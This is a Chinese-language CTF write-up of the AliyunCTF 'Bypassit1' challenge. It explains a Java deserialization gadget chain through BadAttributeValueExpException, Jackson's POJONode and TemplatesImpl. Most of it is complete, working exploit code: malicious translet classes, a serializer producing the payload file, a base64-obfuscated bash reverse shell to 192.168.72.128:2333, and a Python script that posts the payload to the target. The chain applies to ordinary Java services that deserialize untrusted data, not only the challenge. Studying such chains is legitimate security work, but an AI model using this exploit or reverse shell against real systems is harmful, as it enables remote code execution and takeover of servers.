AliyunCTF Bypassit1复现

Bypassit1

题目信息

给了Jar包,用JD-GUI反编译以后可以看到源码。
主要逻辑很简单,直接给一个反序列化的点。
image.png
检查pom.xml,如果有CC依赖给我们用是最好,这里都没得,只有一个springboot启动依赖
image.png
这意味着,我们只能从JDK和springboot启动依赖里去找利用链,引出今天的主题Jackson反序列化
image.png

利用思路

defineClass:185, TemplatesImpl$TransletClassLoader
defineTransletClasses:414, TemplatesImpl
getTransletInstance:451, TemplatesImpl
newTransformer:486, TemplatesImpl
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
serializeAsField:689, BeanPropertyWriter
serializeFields:774, BeanSerializerBase
serialize:178, BeanSerializer
defaultSerializeValue:1142, SerializerProvider
serialize:115, POJONode
serialize:39, SerializableSerializer
serialize:20, SerializableSerializer
_serialize:480, DefaultSerializerProvider
serializeValue:319, DefaultSerializerProvider
serialize:1518, ObjectWriter$Prefetch
_writeValueAndClose:1219, ObjectWriter
writeValueAsString:1086, ObjectWriter
nodeToString:30, InternalNodeMapper
toString:136, BaseJsonNode
readObject:86, BadAttributeValueExpException
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeReadObject:1058, ObjectStreamClass
readSerialData:1900, ObjectInputStream
readOrdinaryObject:1801, ObjectInputStream
readObject0:1351, ObjectInputStream
readObject:371, ObjectInputStream
unserialize:50, Test
main:36, Test

TemplatesImpl代码执行

首先是,CC3里提到的TemplatesImpl实现代码执行的前半段,这里只给链子
lassLoader.defineClass()->
TemplatesImpl#defineClass()->
TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties
问题转换成,调用TemplatesImpl#getOutputProperties

ObjectMapper#writeValueAsString触发序列化对象的任意getter

先说结论,Jackson#writeValueAsString把传入对象转json时,会递归调用对象的所有getter来取属性的值。

serializeAsField:688, BeanPropertyWriter
serializeFields:774, BeanSerializerBase
serialize:178, BeanSerializer
_serialize:480, DefaultSerializerProvider
serializeValue:319, DefaultSerializerProvider
_writeValueAndClose:4568, ObjectMapper
writeValueAsString:3821, ObjectMapper
main:7, Test1

image.png
尝试编写Exp,用objectMapper#writeValueAsString去触发templates的getter,进而弹出计算器

package com.ctf.bypassit;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","Jasper");
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //触发调用函数
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.writeValueAsString(templates);
    }

    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }
    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png
问题转换成,怎么调用ObjectMapper#writeValueAsString(templates)

POJONode#toString触发ObjectMapper#writeValueAsString

image.png
问题转换成,怎么调用POJONode#toString

BadAttributeValueExpException#readObject触发val#toString

找到了反序列化链的入口类BadAttributeValueExpException,只需反射给val赋值成pojoNode即可。
image.png

注意事项

在序列化payload的时候,BaseJsonNode#writeReplace(POJONode的父类)的writeReplace会触发链条。
自己去跟序列化的逻辑去调试也能发现,这里解决办法是写一个同包名的Class,然后把writeReplace()注释掉。
感觉像是利用了加载顺序的问题,这里就不过多分析了。
image.png

本地Exp

// javac Calc.java 
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
// 继承这个接口是必不可少的哦
public class Calc extends AbstractTranslet {
    {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package com.ctf.bypassit;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","Jasper");
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //触发调用函数
//        ObjectMapper objectMapper = new ObjectMapper();
//        objectMapper.writeValueAsString(templates);
        POJONode pojoNode = new POJONode(templates);
//        pojoNode.toString();
        BadAttributeValueExpException bavee = new BadAttributeValueExpException(null);
        setFieldValue(bavee,"val",pojoNode);
        serialize(bavee);
        unserialize();
    }

    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }
    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png

远程Exp

Runtime.getRuntime().exec()命令不回显,需要反弹shell,这里注意反弹shell的命令是怎么编写的。
下面是生成Exec.class,动态类加载用的,代码执行

// javac Exec.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exec extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcyLjEyOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
//            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}


下面是生成序列化的文件object.ser,给后面python脚本传payload用的

package com.ctf.bypassit;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","Jasper");
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Exec.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
        //        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //触发调用函数
        //        ObjectMapper objectMapper = new ObjectMapper();
        //        objectMapper.writeValueAsString(templates);
        POJONode pojoNode = new POJONode(templates);
        //        pojoNode.toString();
        BadAttributeValueExpException bavee = new BadAttributeValueExpException(null);
        setFieldValue(bavee,"val",pojoNode);
        serialize(bavee);
        //        unserialize();
    }

    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }
    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

用pyhton读文件发payload,主要是这个题没base64编码,直接ctrl+cv怕有特殊字符问题,本来反弹shell就对payload的要求很高了,写脚本发送减少踩坑的可能。

import requests
url = "http://192.168.72.129:12346/bypassit"
data = open("object.ser", "rb")
res = requests.post(url, data=data)
print(res.text)

image.png
image.png

小结

bypassit1这道题,给出了如果没有额外依赖,getshell的一种方法。
知识点:

  • Jackson#序列化,会调用序列化对象的任意getter
  • PojoNode#toString会调到Jackson#序列化函数
  • BadAttributeValueExpException#readObject可以调任意对象的toString
  • Java反弹shell命令写法

参考链接

Jackson反序列化原理
Bypassit1利用链解析
大头师傅的复现计划

posted @ 2023-12-06 22:01  Jasper_sec  阅读(100)  评论(0编辑  收藏  举报